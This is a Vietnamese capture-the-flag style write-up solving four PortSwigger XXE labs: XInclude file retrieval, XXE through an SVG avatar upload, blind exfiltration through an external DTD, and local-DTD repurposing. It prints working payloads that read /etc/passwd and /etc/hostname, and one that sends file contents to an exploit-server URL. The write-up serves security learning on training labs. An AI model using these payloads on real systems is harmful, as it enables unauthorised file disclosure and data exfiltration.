---
# System prepended metadata

title: XXE INJECTION WRITE UP
tags: [PortSwigger]

---

# 1. Lab: Exploiting XInclude to retrieve files
![](https://hackmd.io/_uploads/S1A0pr8Th.png)
- Lab trên có chứa tính năng "Check Stock" mà sẽ nhúng dữ liệu đầu vào của user vào một XML file rồi xử lý, mình không thể sử dụng cách DOCTYPE vì ta không control hoàn toàn được XML. Để solve lab, sử dụng `XInclude` để lấy thông tin của `/etc/passwd`
- Sau khi đưa vào BurpSuite để xem xét thì khá là căng đây, vì mình check hàng bằng body của phương thức POST, nên ta không thể thêm thẻ tùy ý được:
![](https://hackmd.io/_uploads/S1V3kILan.png)
- Với lại ta cũng cần hiểu `XInclude` là gì đã nhỉ? XInclude là một tính năng trong XML cho phép mình chèn và kết hợp các phần của các tài liệu XML khác vào trong một tài liệu XML chính. Nó sử dụng 2 phần tửchính:
    + `<xi:include>`: Đây là phần tử chính để thực hiện XInclude. Ta sử dụng phần tử này để tham chiếu đến tài liệu bạn muốn chèn vào. Phần tử này có một thuộc tính quan trọng là href, trong đó mình chỉ định đường dẫn đến tài liệu cần chèn.
    + `xmlns:xi`: Đây là một khai báo không gian tên (namespace declaration) dành riêng cho XInclude. Mình cần thêm khai báo này vào phần tử gốc của tài liệu XML để chỉ ra rằng bạn sử dụng các phần tử và thuộc tính của XInclude. Nói đơn giản thì ta sẽ khai báo sẽ sử dụng `XInclude` với phẩn tử này với: `<foo xmlns:xi="http://www.w3.org/2001/XInclude">`
- Cụ thể thì ta sẽ XML injection vào thuộc tính href của phần tử `<xi:include>` với payload: `<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>`
- Câu hỏi giờ là tại sao ta cần thêm `parse="text"`, vì mặc định `XInclude` sẽ parse file dưới dạng xml file, nên ta cần thêm thuộc tính này để cho trang web hiểu ta muốn parse theo dạng text, giờ ta đưa payload này vào productId là ta sẽ solve được chall thui:
![](https://hackmd.io/_uploads/r1vbWI863.png)
- Solved :heavy_check_mark: 
![](https://hackmd.io/_uploads/ByOMb8Up2.png)

# 2. Lab: Exploiting XXE via image file upload
![](https://hackmd.io/_uploads/r1CRmUL6n.png)
- Lab trên cho phép người dùng comment và dùng thư viện Apache Batik để xử lý ảnh avatar. Để solve lab thì ta sẽ upload ảnh mà chứa nội dung của `/etc/hostname` sau khi xử lý. Với hint là ảnh SVG sử dụng XML
- Nhìn hint là em bay 1 phát vào [PayloadAllTheThing](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-inside-svg) để đi kiếm payload và em sẽ chọn cái này:
```xml!=
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```
- Giờ em sẽ upload ảnh bất kỳ lấy mẫu r đưa vào repeater để sửa với nội dung như sau:
![](https://hackmd.io/_uploads/r1OK4ULpn.png)
- Phần ảnh em sửa đuôi file ảnh thành `.svg` và content-type thành: `image/svg+xml` để báo rằng em gửi ảnh lên là svg file, và như ảnh đã cho thấy việc em gửi ảnh thành công, giờ em sẽ vào browser và lấy đường dẫn đến với ảnh này để xem kết quả:
![](https://hackmd.io/_uploads/r1cpN8Ian.png)
- Ngonnn, vậy hostname của lab là: `d99ffae02c4a`. Submit solution và lab đã hoàn thành:
![](https://hackmd.io/_uploads/SyeZrI8a3.png)

# 3. Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
![](https://hackmd.io/_uploads/BJe4TsP62.png)
- Lab này chứa tính năng "Check stock" có sử dụng XML input nhưng không hiển thị ra kết quả ở response. Để solve lab này thì ta cần lấy nội dung của file `/etc/hostname`
- Trang web cho ta server exploit để tiến hành khai thác out of band, ta sẽ tạo một trang exploit chứa một file `a.dtd` nhằm lấy nội dung của file `/etc/hostname` như sau:
![](https://hackmd.io/_uploads/S150hoPpn.png)
```xml!=
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://exploit-0a9d005004fc3b4c82bf4b0401e600d5.exploit-server.net/exploit?x=%file;'>">
%eval;
%exfiltrate;
```
- Khi truy cập đến URL này, ta sẽ lấy được nội dung của file `/etc/hostname` vào giá trị của biến x ta đưa trên URL
- Tiếp đến, ta đưa giá trị xxe vào trang web để nó chuyển hướng đến server exploit:
![](https://hackmd.io/_uploads/S1KkTovah.png)
```xml!=
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-0a9d005004fc3b4c82bf4b0401e600d5.exploit-server.net/exploit/a.dtd"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
```
- Giờ vào xem log của server exploit để xem giá trị của x và ta có ngay giá trị hostname:
![](https://hackmd.io/_uploads/SyWbaiPah.png)
- Submit solution: `40d691819bc2`, ta đã solve được lab này:
![](https://hackmd.io/_uploads/SyUMTjvp2.png)

# 4. Lab: Exploiting XXE to retrieve data by repurposing a local DTD
![](https://hackmd.io/_uploads/S1iSyRF6n.png)
- Lab có chứa tính năng "Check stock" mà nó sẽ xử lý dữ liệu đầu vào là XML nhưng không hiện kết quả ra. Để solve lab, em cần làm lộ ra lỗi chứa nội dung của file `/etc/passwd`. Ta cần refer nó đến 1 file DTD có tồn tại ở trên server và định nghĩa lại một entity từ nó. 
- Với hint của lab là máy chủ sử dụng GNOME desktop thường chứa file DTD ở `/usr/share/yelp/dtd/docbookx.dtd` và trong đó có entity là `ISOamso`, ta sẽ lấy mẫu khai thác xml của portswigger bên trên:
```xml!=
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
- Giờ ta sẽ thay ở một số chỗ như giá trị của entity `local_dtd` và tên của biến `custom_entity`, cụ thể như sau:
```xml!=
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
- Gửi nó kèm với request check stock là ta đã có thể xem được nội dung của `/etc/passwd`
![](https://hackmd.io/_uploads/S1diz0Ka3.png)
- Solved :heavy_check_mark: :heavy_check_mark: 
![](https://hackmd.io/_uploads/rJvqXAKp2.png)
